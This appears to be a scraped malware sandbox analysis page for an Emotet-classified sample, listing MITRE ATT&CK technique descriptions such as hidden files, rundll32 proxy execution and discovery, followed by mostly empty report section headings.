Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report P5LROPCURK

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

Behavior